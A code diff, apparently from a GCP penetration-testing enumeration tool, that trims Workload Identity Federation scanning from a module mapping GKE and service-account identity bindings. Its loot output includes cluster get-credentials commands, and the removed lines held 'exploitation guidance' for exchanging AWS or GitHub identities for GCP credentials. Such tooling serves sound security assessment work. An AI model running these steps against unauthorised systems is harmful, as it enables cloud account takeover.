if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper cache for attack path analysis", globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Run enumeration with concurrency
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all data for stats
|
||||
allClusters := m.getAllClusters()
|
||||
allBindings := m.getAllBindings()
|
||||
allPools := m.getAllPools()
|
||||
allProviders := m.getAllProviders()
|
||||
allFederatedBindings := m.getAllFederatedBindings()
|
||||
|
||||
// Check if we have any findings
|
||||
hasGKE := len(allClusters) > 0
|
||||
hasFederation := len(allPools) > 0
|
||||
|
||||
if !hasGKE && !hasFederation {
|
||||
logger.InfoM("No Workload Identity configurations found", globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
if len(allClusters) == 0 {
|
||||
logger.InfoM("No GKE clusters found", globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count GKE clusters with Workload Identity
|
||||
if hasGKE {
|
||||
wiEnabled := 0
|
||||
for _, c := range allClusters {
|
||||
if c.WorkloadPoolEnabled {
|
||||
wiEnabled++
|
||||
}
|
||||
wiEnabled := 0
|
||||
for _, c := range allClusters {
|
||||
if c.WorkloadPoolEnabled {
|
||||
wiEnabled++
|
||||
}
|
||||
logger.SuccessM(fmt.Sprintf("Found %d GKE cluster(s) (%d with Workload Identity), %d K8s->GCP binding(s)",
|
||||
len(allClusters), wiEnabled, len(allBindings)), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
}
|
||||
logger.SuccessM(fmt.Sprintf("Found %d GKE cluster(s) (%d with Workload Identity), %d K8s->GCP binding(s)",
|
||||
len(allClusters), wiEnabled, len(allBindings)), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
|
||||
// Count federation findings
|
||||
if hasFederation {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d Workload Identity Pool(s), %d Provider(s), %d federated binding(s)",
|
||||
len(allPools), len(allProviders), len(allFederatedBindings)), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllClusters returns all clusters from all projects (for statistics)
|
||||
// getAllClusters returns all clusters from all projects
|
||||
func (m *WorkloadIdentityModule) getAllClusters() []ClusterWorkloadIdentity {
|
||||
var all []ClusterWorkloadIdentity
|
||||
for _, clusters := range m.ProjectClusters {
|
||||
@@ -175,7 +147,7 @@ func (m *WorkloadIdentityModule) getAllClusters() []ClusterWorkloadIdentity {
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllBindings returns all bindings from all projects (for statistics)
|
||||
// getAllBindings returns all bindings from all projects
|
||||
func (m *WorkloadIdentityModule) getAllBindings() []WorkloadIdentityBinding {
|
||||
var all []WorkloadIdentityBinding
|
||||
for _, bindings := range m.ProjectBindings {
|
||||
@@ -184,56 +156,26 @@ func (m *WorkloadIdentityModule) getAllBindings() []WorkloadIdentityBinding {
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllPools returns all pools from all projects (for statistics)
|
||||
func (m *WorkloadIdentityModule) getAllPools() []workloadidentityservice.WorkloadIdentityPool {
|
||||
var all []workloadidentityservice.WorkloadIdentityPool
|
||||
for _, pools := range m.ProjectPools {
|
||||
all = append(all, pools...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllProviders returns all providers from all projects (for statistics)
|
||||
func (m *WorkloadIdentityModule) getAllProviders() []workloadidentityservice.WorkloadIdentityProvider {
|
||||
var all []workloadidentityservice.WorkloadIdentityProvider
|
||||
for _, providers := range m.ProjectProviders {
|
||||
all = append(all, providers...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllFederatedBindings returns all federated bindings from all projects (for statistics)
|
||||
func (m *WorkloadIdentityModule) getAllFederatedBindings() []workloadidentityservice.FederatedIdentityBinding {
|
||||
var all []workloadidentityservice.FederatedIdentityBinding
|
||||
for _, bindings := range m.ProjectFederatedBindings {
|
||||
all = append(all, bindings...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor (called concurrently for each project)
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Workload Identity in project: %s", projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
logger.InfoM(fmt.Sprintf("Enumerating GKE Workload Identity in project: %s", projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ==========================================
|
||||
// Part 1: GKE Workload Identity
|
||||
// ==========================================
|
||||
gkeSvc := gkeservice.New()
|
||||
clusters, _, err := gkeSvc.Clusters(projectID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate GKE clusters in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
var clusterInfos []ClusterWorkloadIdentity
|
||||
var bindings []WorkloadIdentityBinding
|
||||
|
||||
for _, cluster := range clusters {
|
||||
// Analyze cluster Workload Identity configuration
|
||||
cwi := ClusterWorkloadIdentity{
|
||||
ProjectID: projectID,
|
||||
ClusterName: cluster.Name,
|
||||
@@ -241,14 +183,11 @@ func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID s
|
||||
TotalNodePools: cluster.NodePoolCount,
|
||||
}
|
||||
|
||||
// Check if Workload Identity is enabled at cluster level
|
||||
if cluster.WorkloadIdentity != "" {
|
||||
cwi.WorkloadPoolEnabled = true
|
||||
cwi.WorkloadPool = cluster.WorkloadIdentity
|
||||
}
|
||||
|
||||
// Node pools with WI is not tracked individually in ClusterInfo
|
||||
// Just mark all as WI-enabled if cluster has WI
|
||||
if cwi.WorkloadPoolEnabled {
|
||||
cwi.NodePoolsWithWI = cwi.TotalNodePools
|
||||
}
|
||||
@@ -262,45 +201,9 @@ func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID s
|
||||
}
|
||||
}
|
||||
|
||||
// ==========================================
|
||||
// Part 2: Workload Identity Federation
|
||||
// ==========================================
|
||||
wiSvc := workloadidentityservice.New()
|
||||
|
||||
// Get Workload Identity Pools
|
||||
pools, err := wiSvc.ListWorkloadIdentityPools(projectID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list Workload Identity Pools in project %s", projectID))
|
||||
}
|
||||
|
||||
var providers []workloadidentityservice.WorkloadIdentityProvider
|
||||
|
||||
// Get providers for each pool
|
||||
for _, pool := range pools {
|
||||
poolProviders, err := wiSvc.ListWorkloadIdentityProviders(projectID, pool.PoolID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list providers for pool %s", pool.PoolID))
|
||||
continue
|
||||
}
|
||||
providers = append(providers, poolProviders...)
|
||||
}
|
||||
|
||||
// Find federated identity bindings
|
||||
fedBindings, err := wiSvc.FindFederatedIdentityBindings(projectID, pools)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not find federated identity bindings in project %s", projectID))
|
||||
}
|
||||
|
||||
// Thread-safe append
|
||||
m.mu.Lock()
|
||||
m.ProjectClusters[projectID] = clusterInfos
|
||||
m.ProjectBindings[projectID] = bindings
|
||||
m.ProjectPools[projectID] = pools
|
||||
m.ProjectProviders[projectID] = providers
|
||||
m.ProjectFederatedBindings[projectID] = fedBindings
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
@@ -311,35 +214,25 @@ func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID s
|
||||
}
|
||||
}
|
||||
|
||||
// Generate loot
|
||||
for _, cwi := range clusterInfos {
|
||||
m.addClusterToLoot(projectID, cwi)
|
||||
}
|
||||
for _, binding := range bindings {
|
||||
m.addBindingToLoot(projectID, binding)
|
||||
}
|
||||
for _, pool := range pools {
|
||||
m.addPoolToLoot(projectID, pool)
|
||||
}
|
||||
for _, provider := range providers {
|
||||
m.addProviderToLoot(projectID, provider)
|
||||
}
|
||||
for _, fedBinding := range fedBindings {
|
||||
m.addFederatedBindingToLoot(projectID, fedBinding)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d GKE cluster(s), %d K8s binding(s), %d pool(s), %d provider(s) in project %s",
|
||||
len(clusterInfos), len(bindings), len(pools), len(providers), projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
logger.InfoM(fmt.Sprintf("Found %d GKE cluster(s), %d K8s binding(s) in project %s",
|
||||
len(clusterInfos), len(bindings), projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// findWorkloadIdentityBindings finds all IAM bindings that grant workloadIdentityUser role
|
||||
// by querying the IAM policy ON each service account (resource-level, not project-level)
|
||||
func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Context, projectID, clusterName, location, workloadPool string, logger internal.Logger) []WorkloadIdentityBinding {
|
||||
var bindings []WorkloadIdentityBinding
|
||||
|
||||
// Get all service accounts in the project and check their IAM policies (without keys)
|
||||
iamSvc := IAMService.New()
|
||||
serviceAccounts, err := iamSvc.ServiceAccountsBasic(projectID)
|
||||
if err != nil {
|
||||
@@ -348,21 +241,25 @@ func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Contex
|
||||
return bindings
|
||||
}
|
||||
|
||||
// For each service account, get its IAM policy and look for workloadIdentityUser bindings
|
||||
// Get an IAM service client for SA-level policy queries
|
||||
iamService, err := iam.NewService(ctx)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
|
||||
"Could not create IAM service client")
|
||||
return bindings
|
||||
}
|
||||
|
||||
for _, sa := range serviceAccounts {
|
||||
// Get IAM policy for this service account
|
||||
// The workloadIdentityUser role is granted ON the service account
|
||||
saPolicy, err := m.getServiceAccountPolicy(ctx, sa.Name)
|
||||
// Get the IAM policy ON the service account resource (not project-level)
|
||||
saResource := fmt.Sprintf("projects/%s/serviceAccounts/%s", projectID, sa.Email)
|
||||
policy, err := iamService.Projects.ServiceAccounts.GetIamPolicy(saResource).Context(ctx).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Look for members with workloadIdentityUser role
|
||||
for _, binding := range saPolicy {
|
||||
for _, binding := range policy.Bindings {
|
||||
if binding.Role == "roles/iam.workloadIdentityUser" {
|
||||
for _, member := range binding.Members {
|
||||
// Parse member to extract namespace and KSA
|
||||
// Format: serviceAccount:[PROJECT_ID].svc.id.goog[NAMESPACE/KSA_NAME]
|
||||
if strings.HasPrefix(member, "serviceAccount:") && strings.Contains(member, ".svc.id.goog") {
|
||||
ns, ksa := parseWorkloadIdentityMember(member)
|
||||
if ns != "" && ksa != "" {
|
||||
@@ -377,10 +274,7 @@ func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Contex
|
||||
GCPSARoles: sa.Roles,
|
||||
BindingType: "workloadIdentityUser",
|
||||
}
|
||||
|
||||
// Check if high privilege
|
||||
wib.IsHighPrivilege = isHighPrivilegeServiceAccount(sa)
|
||||
|
||||
bindings = append(bindings, wib)
|
||||
}
|
||||
}
|
||||
@@ -392,24 +286,11 @@ func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Contex
|
||||
return bindings
|
||||
}
|
||||
|
||||
// getServiceAccountPolicy gets IAM policy for a service account
|
||||
func (m *WorkloadIdentityModule) getServiceAccountPolicy(ctx context.Context, saName string) ([]IAMService.PolicyBinding, error) {
|
||||
iamSvc := IAMService.New()
|
||||
|
||||
// Get the service account's IAM policy
|
||||
// This requires calling the IAM API directly
|
||||
// For now, we'll return the roles from the project-level bindings
|
||||
return iamSvc.Policies(extractProjectFromSAName(saName), "project")
|
||||
}
|
||||
|
||||
// parseWorkloadIdentityMember parses a workload identity member string
|
||||
// Format: serviceAccount:[PROJECT_ID].svc.id.goog[NAMESPACE/KSA_NAME]
|
||||
func parseWorkloadIdentityMember(member string) (namespace, serviceAccount string) {
|
||||
// Remove serviceAccount: prefix
|
||||
member = strings.TrimPrefix(member, "serviceAccount:")
|
||||
|
||||
// Find the workload pool and extract namespace/SA
|
||||
// Format: PROJECT_ID.svc.id.goog[NAMESPACE/KSA_NAME]
|
||||
bracketStart := strings.Index(member, "[")
|
||||
bracketEnd := strings.Index(member, "]")
|
||||
|
||||
@@ -426,16 +307,6 @@ func parseWorkloadIdentityMember(member string) (namespace, serviceAccount strin
|
||||
return "", ""
|
||||
}
|
||||
|
||||
// extractProjectFromSAName extracts project ID from service account name
|
||||
func extractProjectFromSAName(saName string) string {
|
||||
// Format: projects/PROJECT_ID/serviceAccounts/SA_EMAIL
|
||||
parts := strings.Split(saName, "/")
|
||||
if len(parts) >= 2 {
|
||||
return parts[1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// isHighPrivilegeServiceAccount checks if a service account has high-privilege roles
|
||||
func isHighPrivilegeServiceAccount(sa IAMService.ServiceAccountInfo) bool {
|
||||
highPrivRoles := map[string]bool{
|
||||
@@ -473,14 +344,12 @@ func (m *WorkloadIdentityModule) addClusterToLoot(projectID string, cwi ClusterW
|
||||
"# GKE CLUSTER: %s\n"+
|
||||
"# ==========================================\n"+
|
||||
"# Location: %s\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Workload Pool: %s\n"+
|
||||
"# Node Pools with WI: %d/%d\n"+
|
||||
"\n# Get cluster credentials:\n"+
|
||||
"gcloud container clusters get-credentials %s --zone=%s --project=%s\n\n",
|
||||
cwi.ClusterName,
|
||||
cwi.Location,
|
||||
cwi.ProjectID,
|
||||
cwi.WorkloadPool,
|
||||
cwi.NodePoolsWithWI,
|
||||
cwi.TotalNodePools,
|
||||
@@ -505,15 +374,13 @@ func (m *WorkloadIdentityModule) addBindingToLoot(projectID string, binding Work
|
||||
"# ------------------------------------------\n"+
|
||||
"# K8s SA BINDING: %s/%s -> %s%s\n"+
|
||||
"# ------------------------------------------\n"+
|
||||
"# Cluster: %s (%s)\n"+
|
||||
"# Project: %s\n",
|
||||
"# Cluster: %s (%s)\n",
|
||||
binding.KubernetesNS,
|
||||
binding.KubernetesSA,
|
||||
binding.GCPServiceAccount,
|
||||
highPriv,
|
||||
binding.ClusterName,
|
||||
binding.ClusterLocation,
|
||||
binding.ProjectID,
|
||||
)
|
||||
|
||||
if binding.IsHighPrivilege && len(binding.GCPSARoles) > 0 {
|
||||
@@ -533,127 +400,10 @@ func (m *WorkloadIdentityModule) addBindingToLoot(projectID string, binding Work
|
||||
)
|
||||
}
|
||||
|
||||
func (m *WorkloadIdentityModule) addPoolToLoot(projectID string, pool workloadidentityservice.WorkloadIdentityPool) {
|
||||
lootFile := m.LootMap[projectID]["workloadidentity-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
status := "Active"
|
||||
if pool.Disabled {
|
||||
status = "Disabled"
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ==========================================\n"+
|
||||
"# FEDERATION POOL: %s\n"+
|
||||
"# ==========================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Display Name: %s\n"+
|
||||
"# State: %s (%s)\n"+
|
||||
"# Description: %s\n"+
|
||||
"\n# Describe pool:\n"+
|
||||
"gcloud iam workload-identity-pools describe %s --location=global --project=%s\n\n"+
|
||||
"# List providers:\n"+
|
||||
"gcloud iam workload-identity-pools providers list --workload-identity-pool=%s --location=global --project=%s\n\n",
|
||||
pool.PoolID,
|
||||
pool.ProjectID,
|
||||
pool.DisplayName,
|
||||
pool.State, status,
|
||||
pool.Description,
|
||||
pool.PoolID, pool.ProjectID,
|
||||
pool.PoolID, pool.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *WorkloadIdentityModule) addProviderToLoot(projectID string, provider workloadidentityservice.WorkloadIdentityProvider) {
|
||||
lootFile := m.LootMap[projectID]["workloadidentity-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ------------------------------------------\n"+
|
||||
"# PROVIDER: %s/%s (%s)\n"+
|
||||
"# ------------------------------------------\n"+
|
||||
"# Project: %s\n",
|
||||
provider.PoolID, provider.ProviderID,
|
||||
provider.ProviderType,
|
||||
provider.ProjectID,
|
||||
)
|
||||
|
||||
if provider.ProviderType == "AWS" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# AWS Account: %s\n", provider.AWSAccountID)
|
||||
} else if provider.ProviderType == "OIDC" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# OIDC Issuer: %s\n", provider.OIDCIssuerURI)
|
||||
}
|
||||
|
||||
if provider.AttributeCondition != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Attribute Condition: %s\n", provider.AttributeCondition)
|
||||
} else {
|
||||
lootFile.Contents += "# Attribute Condition: NONE\n"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"\n# Describe provider:\n"+
|
||||
"gcloud iam workload-identity-pools providers describe %s --workload-identity-pool=%s --location=global --project=%s\n\n",
|
||||
provider.ProviderID, provider.PoolID, provider.ProjectID,
|
||||
)
|
||||
|
||||
// Add exploitation guidance based on provider type
|
||||
switch provider.ProviderType {
|
||||
case "AWS":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# From AWS account %s, exchange credentials:\n"+
|
||||
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
|
||||
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
|
||||
"# --aws --output-file=gcp-creds.json\n\n",
|
||||
provider.AWSAccountID,
|
||||
provider.ProjectID, provider.PoolID, provider.ProviderID,
|
||||
)
|
||||
case "OIDC":
|
||||
if strings.Contains(provider.OIDCIssuerURI, "github") {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# From GitHub Actions workflow, add:\n"+
|
||||
"# permissions:\n"+
|
||||
"# id-token: write\n"+
|
||||
"# contents: read\n"+
|
||||
"# Then use:\n"+
|
||||
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
|
||||
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
|
||||
"# [email protected] \\\n"+
|
||||
"# --output-file=gcp-creds.json\n\n",
|
||||
provider.ProjectID, provider.PoolID, provider.ProviderID,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *WorkloadIdentityModule) addFederatedBindingToLoot(projectID string, binding workloadidentityservice.FederatedIdentityBinding) {
|
||||
lootFile := m.LootMap[projectID]["workloadidentity-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ------------------------------------------\n"+
|
||||
"# FEDERATED BINDING\n"+
|
||||
"# ------------------------------------------\n"+
|
||||
"# Pool: %s\n"+
|
||||
"# GCP Service Account: %s\n"+
|
||||
"# External Subject: %s\n"+
|
||||
"# Project: %s\n\n",
|
||||
binding.PoolID,
|
||||
binding.GCPServiceAccount,
|
||||
binding.ExternalSubject,
|
||||
binding.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *WorkloadIdentityModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
@@ -661,19 +411,15 @@ func (m *WorkloadIdentityModule) writeOutput(ctx context.Context, logger interna
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *WorkloadIdentityModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Build hierarchical output data
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Build project-level outputs
|
||||
for projectID := range m.ProjectClusters {
|
||||
tables := m.buildTablesForProject(projectID)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
@@ -686,10 +432,8 @@ func (m *WorkloadIdentityModule) writeHierarchicalOutput(ctx context.Context, lo
|
||||
outputData.ProjectLevelData[projectID] = WorkloadIdentityOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Create path builder using the module's hierarchy
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Write using hierarchical output
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
@@ -704,17 +448,12 @@ func (m *WorkloadIdentityModule) writeHierarchicalOutput(ctx context.Context, lo
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *WorkloadIdentityModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allClusters := m.getAllClusters()
|
||||
allBindings := m.getAllBindings()
|
||||
allPools := m.getAllPools()
|
||||
allProviders := m.getAllProviders()
|
||||
allFederatedBindings := m.getAllFederatedBindings()
|
||||
|
||||
tables := m.buildTables(allClusters, allBindings, allPools, allProviders, allFederatedBindings)
|
||||
tables := m.buildTables(allClusters, allBindings)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
@@ -729,7 +468,6 @@ func (m *WorkloadIdentityModule) writeFlatOutput(ctx context.Context, logger int
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
// Write output using HandleOutputSmart with scope support
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
@@ -757,20 +495,13 @@ func (m *WorkloadIdentityModule) writeFlatOutput(ctx context.Context, logger int
|
||||
func (m *WorkloadIdentityModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
clusters := m.ProjectClusters[projectID]
|
||||
bindings := m.ProjectBindings[projectID]
|
||||
pools := m.ProjectPools[projectID]
|
||||
providers := m.ProjectProviders[projectID]
|
||||
federatedBindings := m.ProjectFederatedBindings[projectID]
|
||||
|
||||
return m.buildTables(clusters, bindings, pools, providers, federatedBindings)
|
||||
return m.buildTables(clusters, bindings)
|
||||
}
|
||||
|
||||
// buildTables builds all tables from the given data
|
||||
func (m *WorkloadIdentityModule) buildTables(
|
||||
clusters []ClusterWorkloadIdentity,
|
||||
bindings []WorkloadIdentityBinding,
|
||||
pools []workloadidentityservice.WorkloadIdentityPool,
|
||||
providers []workloadidentityservice.WorkloadIdentityProvider,
|
||||
federatedBindings []workloadidentityservice.FederatedIdentityBinding,
|
||||
) []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
|
||||
@@ -795,7 +526,6 @@ func (m *WorkloadIdentityModule) buildTables(
|
||||
workloadPool = cwi.WorkloadPool
|
||||
}
|
||||
|
||||
// Format as "X of Y" for clarity
|
||||
nodePoolsWI := fmt.Sprintf("%d of %d", cwi.NodePoolsWithWI, cwi.TotalNodePools)
|
||||
|
||||
clustersBody = append(clustersBody, []string{
|
||||
@@ -808,7 +538,6 @@ func (m *WorkloadIdentityModule) buildTables(
|
||||
})
|
||||
}
|
||||
|
||||
// Only add clusters table if there are clusters
|
||||
if len(clustersBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "workload-identity-clusters",
|
||||
@@ -835,7 +564,6 @@ func (m *WorkloadIdentityModule) buildTables(
|
||||
highPriv = "Yes"
|
||||
}
|
||||
|
||||
// Check attack paths for the GCP service account
|
||||
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, binding.GCPServiceAccount)
|
||||
|
||||
bindingsBody = append(bindingsBody, []string{
|
||||
@@ -849,7 +577,6 @@ func (m *WorkloadIdentityModule) buildTables(
|
||||
})
|
||||
}
|
||||
|
||||
// Add bindings table if there are any
|
||||
if len(bindingsBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "workload-identity-bindings",
|
||||
@@ -858,114 +585,5 @@ func (m *WorkloadIdentityModule) buildTables(
|
||||
})
|
||||
}
|
||||
|
||||
// ============================
|
||||
// Workload Identity Federation tables
|
||||
// ============================
|
||||
|
||||
// Federation Pools table
|
||||
if len(pools) > 0 {
|
||||
poolsHeader := []string{
|
||||
"Project",
|
||||
"Pool ID",
|
||||
"Display Name",
|
||||
"State",
|
||||
"Disabled",
|
||||
}
|
||||
|
||||
var poolsBody [][]string
|
||||
for _, pool := range pools {
|
||||
disabled := "No"
|
||||
if pool.Disabled {
|
||||
disabled = "Yes"
|
||||
}
|
||||
poolsBody = append(poolsBody, []string{
|
||||
m.GetProjectName(pool.ProjectID),
|
||||
pool.PoolID,
|
||||
pool.DisplayName,
|
||||
pool.State,
|
||||
disabled,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "wi-federation-pools",
|
||||
Header: poolsHeader,
|
||||
Body: poolsBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Federation Providers table
|
||||
if len(providers) > 0 {
|
||||
providersHeader := []string{
|
||||
"Project",
|
||||
"Pool",
|
||||
"Provider",
|
||||
"Type",
|
||||
"OIDC Issuer / AWS Account",
|
||||
"Access Condition",
|
||||
}
|
||||
|
||||
var providersBody [][]string
|
||||
for _, p := range providers {
|
||||
issuerOrAccount := "-"
|
||||
if p.ProviderType == "AWS" {
|
||||
issuerOrAccount = p.AWSAccountID
|
||||
} else if p.ProviderType == "OIDC" {
|
||||
issuerOrAccount = p.OIDCIssuerURI
|
||||
}
|
||||
|
||||
attrCond := "-"
|
||||
if p.AttributeCondition != "" {
|
||||
attrCond = p.AttributeCondition
|
||||
}
|
||||
|
||||
providersBody = append(providersBody, []string{
|
||||
m.GetProjectName(p.ProjectID),
|
||||
p.PoolID,
|
||||
p.ProviderID,
|
||||
p.ProviderType,
|
||||
issuerOrAccount,
|
||||
attrCond,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "wi-federation-providers",
|
||||
Header: providersHeader,
|
||||
Body: providersBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Federated bindings table
|
||||
if len(federatedBindings) > 0 {
|
||||
fedBindingsHeader := []string{
|
||||
"Project",
|
||||
"Pool",
|
||||
"GCP Service Account",
|
||||
"External Identity",
|
||||
"SA Attack Paths",
|
||||
}
|
||||
|
||||
var fedBindingsBody [][]string
|
||||
for _, fb := range federatedBindings {
|
||||
// Check attack paths for the GCP service account
|
||||
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, fb.GCPServiceAccount)
|
||||
|
||||
fedBindingsBody = append(fedBindingsBody, []string{
|
||||
m.GetProjectName(fb.ProjectID),
|
||||
fb.PoolID,
|
||||
fb.GCPServiceAccount,
|
||||
fb.ExternalSubject,
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "wi-federated-bindings",
|
||||
Header: fedBindingsHeader,
|
||||
Body: fedBindingsBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
@@ -116,8 +116,9 @@ type CrossProjectPubSubExport struct {
|
||||
RiskReasons []string `json:"riskReasons"`
|
||||
}
|
||||
|
||||
// AnalyzeCrossProjectAccess analyzes cross-project IAM bindings for a set of projects
|
||||
func (s *CrossProjectService) AnalyzeCrossProjectAccess(projectIDs []string) ([]CrossProjectBinding, error) {
|
||||
// AnalyzeCrossProjectAccess analyzes cross-project IAM bindings for a set of projects.
|
||||
// If orgCache is provided, it resolves project numbers to IDs for accurate detection.
|
||||
func (s *CrossProjectService) AnalyzeCrossProjectAccess(projectIDs []string, orgCache *gcpinternal.OrgCache) ([]CrossProjectBinding, error) {
|
||||
ctx := context.Background()
|
||||
|
||||
crmService, err := s.getResourceManagerService(ctx)
|
||||
@@ -142,7 +143,7 @@ func (s *CrossProjectService) AnalyzeCrossProjectAccess(projectIDs []string) ([]
|
||||
|
||||
for _, binding := range policy.Bindings {
|
||||
for _, member := range binding.Members {
|
||||
sourceProject := extractProjectFromMember(member)
|
||||
sourceProject := extractProjectFromMember(member, orgCache)
|
||||
|
||||
// Check if this is cross-project access
|
||||
if sourceProject != "" && sourceProject != targetProject {
|
||||
